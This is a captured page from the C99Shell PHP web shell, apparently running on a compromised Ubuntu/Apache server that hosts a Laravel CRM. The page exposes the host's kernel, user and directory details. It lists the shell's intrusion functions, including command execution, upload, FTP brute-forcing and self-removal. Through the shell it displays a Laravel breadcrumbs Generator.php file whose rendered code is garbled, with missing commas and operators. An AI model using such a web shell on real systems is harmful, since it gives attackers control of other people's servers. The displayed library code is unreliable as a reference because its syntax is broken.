!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/diglactic/laravel-breadcrumbs/src/   drwxrwxrwx
Free 12.97 GB of 57.97 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Generator.php (3.17 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Diglactic\Breadcrumbs;

use 
Diglactic\Breadcrumbs\Exceptions\InvalidBreadcrumbException;
use 
Illuminate\Support\Collection;

/**
 * Generate a set of breadcrumbs for a page.
 *
 * This is passed as the first parameter to all breadcrumb-generating closures. In the documentation it is named
 * `$breadcrumbs`.
 */
class Generator
{
    
/** @var \Illuminate\Support\Collection Breadcrumbs currently being generated. */
    
protected $breadcrumbs;

    
/** @var array The registered breadcrumb-generating callbacks. */
    
protected $callbacks = [];

    
/**
     * Generate breadcrumbs.
     *
     * @param array $callbacks The registered breadcrumb-generating closures.
     * @param array $before The registered 'before' callbacks.
     * @param array $after The registered 'after' callbacks.
     * @param string $name The name of the current page.
     * @param array $params The parameters to pass to the closure for the current page.
     * @return \Illuminate\Support\Collection The generated breadcrumbs.
     * @throws \Diglactic\Breadcrumbs\Exceptions\InvalidBreadcrumbException if the name is (or any ancestor names are) not registered.
     */
    
public function generate(array $callbacks, array $before, array $afterstring $name, array $params): Collection
    
{
        
$this->breadcrumbs = new Collection;
        
$this->callbacks $callbacks;

        foreach (
$before as $callback) {
            
$callback($this);
        }

        
$this->call($name$params);

        foreach (
$after as $callback) {
            
$callback($this);
        }

        return 
$this->breadcrumbs;
    }

    
/**
     * Call the closure to generate breadcrumbs for a page.
     *
     * @param string $name The name of the page.
     * @param array $params The parameters to pass to the closure.
     * @throws \Diglactic\Breadcrumbs\Exceptions\InvalidBreadcrumbException if the name is not registered.
     */
    
protected function call(string $name, array $params): void
    
{
        if (!isset(
$this->callbacks[$name])) {
            throw new 
InvalidBreadcrumbException($name);
        }

        
$this->callbacks[$name]($this, ...$params);
    }

    
/**
     * Add breadcrumbs for a parent page.
     *
     * Should be called from the closure for a page, before `push()` is called.
     *
     * @param string $name The name of the parent page.
     * @param mixed ...$params The parameters to pass to the closure.
     * @return self
     * @throws \Diglactic\Breadcrumbs\Exceptions\InvalidBreadcrumbException
     */
    
public function parent(string $name, ...$params): self
    
{
        
$this->call($name$params);

        return 
$this;
    }

    
/**
     * Add a breadcrumb.
     *
     * Should be called from the closure for each page. May be called more than once.
     *
     * @param string $title The title of the page.
     * @param string|null $url The URL of the page.
     * @param array $data Optional associative array of additional data to pass to the view.
     * @return self
     */
    
public function push(string $title, ?string $url null, array $data = []): self
    
{
        
$this->breadcrumbs->push((object)array_merge($datacompact('title''url')));

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--